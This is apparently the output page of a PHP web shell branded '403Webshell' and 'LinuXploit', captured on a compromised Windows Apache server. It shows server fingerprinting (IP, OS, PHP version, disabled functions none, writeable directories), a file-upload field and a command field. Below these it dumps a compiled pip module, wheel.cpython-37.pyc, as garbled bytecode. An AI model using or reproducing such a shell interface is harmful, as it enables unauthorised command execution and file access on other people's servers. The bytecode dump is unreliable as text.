403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/wheel.cpython-37.pyc
B

�N�a�@s0dZddlZddlmZddlmZddlmZmZddl	m
Z
mZddlm
Z
ddlmZmZdd	lmZdd
lmZdZe�e�ZGdd
�d
e�Zeeeed�dd�Zeeeeefd�dd�Zeeed�dd�Zeeed�dd�Zeeed�dd�Z eee!dfd�dd �Z"ee!dfedd!�d"d#�Z#dS)$z0Support functions for working with wheel files.
�N)�Message)�Parser)�Dict�Tuple)�
BadZipFile�ZipFile)�canonicalize_name)�DistInfoDistribution�Distribution)�UnsupportedWheel)�DictMetadata)�rcsFeZdZdZeeefedd��fdd�Zeed��fdd�Z�Z	S)	�
WheelMetadatazaMetadata provider that maps metadata decoding exceptions to our
    internal exception type.
    N)�metadata�
wheel_name�returncst��|�||_dS)N)�super�__init__�_wheel_name)�selfrr)�	__class__��=/usr/lib/python3.7/site-packages/pip/_internal/utils/wheel.pyrszWheelMetadata.__init__)�namerc
sJyt��|�Stk
rD}ztd|j�d|����Wdd}~XYnXdS)NzError decoding metadata for z: )r�get_metadata�UnicodeDecodeErrorrr)rr�e)rrrrs
zWheelMetadata.get_metadata)
�__name__�
__module__�__qualname__�__doc__r�str�bytesrr�
__classcell__rr)rrrsr)�	wheel_zipr�locationrc
s�t||�\�}�fdd�|��D�}i}xf|D]^}|�dd�\}}yt||�||<Wq.tk
r�}ztd�|t|����Wdd}~XYq.Xq.Wt||�}	t||	|d�S)zaGet a pkg_resources distribution given a wheel.

    :raises UnsupportedWheel: on any errors
    cs g|]}|���d��r|�qS)�/)�
startswith)�.0�p)�info_dirrr�
<listcomp>2sz8pkg_resources_distribution_for_wheel.<locals>.<listcomp>r&r
z{} has an invalid wheel, {}N)r%rZproject_name)	�parse_wheel�namelist�split�read_wheel_metadata_filer�formatr!rr	)
r$rr%�_Zmetadata_filesZ
metadata_text�pathZ
metadata_namerrr)r*r�$pkg_resources_distribution_for_wheel)s
*
r3)r$rrc
Csjy t||�}t||�}t|�}Wn6tk
rV}ztd�|t|����Wdd}~XYnXt||�||fS)z�Extract information from the provided wheel, ensuring it meets basic
    standards.

    Returns the name of the .dist-info directory and the parsed WHEEL metadata.
    z{} has an invalid wheel, {}N)�wheel_dist_info_dir�wheel_metadata�
wheel_versionrr0r!�check_compatibility)r$rr*r�versionrrrrr,Bs

&
r,)�sourcerrcCs�dd�|��D�}dd�|D�}|s,td��t|�dkrLtd�d�|����|d	}t|�}t|�}|�|�s~td
�||���|S)z�Returns the name of the contained .dist-info directory.

    Raises AssertionError or UnsupportedWheel if not found, >1 found, or
    it doesn't match the provided name.
    cSsh|]}|�dd�d�qS)r&r
r)r.)r(r)rrr�	<setcomp>[sz&wheel_dist_info_dir.<locals>.<setcomp>cSsg|]}|�d�r|�qS)z
.dist-info)�endswith)r(�srrrr+]sz'wheel_dist_info_dir.<locals>.<listcomp>z.dist-info directory not foundr
z)multiple .dist-info directories found: {}z, rz2.dist-info directory {!r} does not start with {!r})r-r�lenr0�joinrr')r9rZsubdirsZ	info_dirsr*Z
info_dir_nameZcanonical_namerrrr4Ts

r4)r9r2rc
CsLy
|�|�Stttfk
rF}ztd|�d|����Wdd}~XYnXdS)Nzcould not read z file: )�readr�KeyError�RuntimeErrorr)r9r2rrrrr/us
r/)r9�
dist_info_dirrc
Csd|�d�}t||�}y|��}Wn6tk
rV}ztd|�d|����Wdd}~XYnXt��|�S)ziReturn the WHEEL metadata of an extracted wheel, if possible.
    Otherwise, raise UnsupportedWheel.
    z/WHEELzerror decoding z: N)r/�decoderrrZparsestr)r9rBr2Zwheel_contentsZ
wheel_textrrrrr5~s

&r5.)�
wheel_datarcCs\|d}|dkrtd��|��}yttt|�d���Stk
rVtd|����YnXdS)zbGiven WHEEL metadata, return the parsed Wheel-Version.
    Otherwise, raise UnsupportedWheel.
    z
Wheel-VersionNzWHEEL is missing Wheel-Version�.zinvalid Wheel-Version: )r�strip�tuple�map�intr.�
ValueError)rDZversion_textr8rrrr6�sr6)r8rrc	CsR|dtdkr.td�|d�tt|�����n |tkrNt�dd�tt|���dS)a�Raises errors or warns if called with an incompatible Wheel-Version.

    pip should refuse to install a Wheel-Version that's a major series
    ahead of what it's compatible with (e.g 2.0 > 1.1); and warn when
    installing a version only minor version ahead (e.g 1.2 > 1.1).

    version: a 2-tuple representing a Wheel-Version (Major, Minor)
    name: name of wheel or package to raise exception about

    :raises UnsupportedWheel: when an incompatible Wheel-Version is given
    rzB{}'s Wheel-Version ({}) is not compatible with this version of piprEz*Installing from a newer Wheel-Version (%s)N)�VERSION_COMPATIBLErr0r>rHr!�loggerZwarning)r8rrrrr7�sr7)$r ZloggingZ
email.messagerZemail.parserr�typingrrZzipfilerrZpip._vendor.packaging.utilsrZpip._vendor.pkg_resourcesr	r
Zpip._internal.exceptionsrZ!pip._internal.utils.pkg_resourcesrrKZ	getLoggerrrLrr!r3r,r4r"r/r5rIr6r7rrrr�<module>s(
!	

Youez - 2016 - github.com/yon3zu
LinuXploit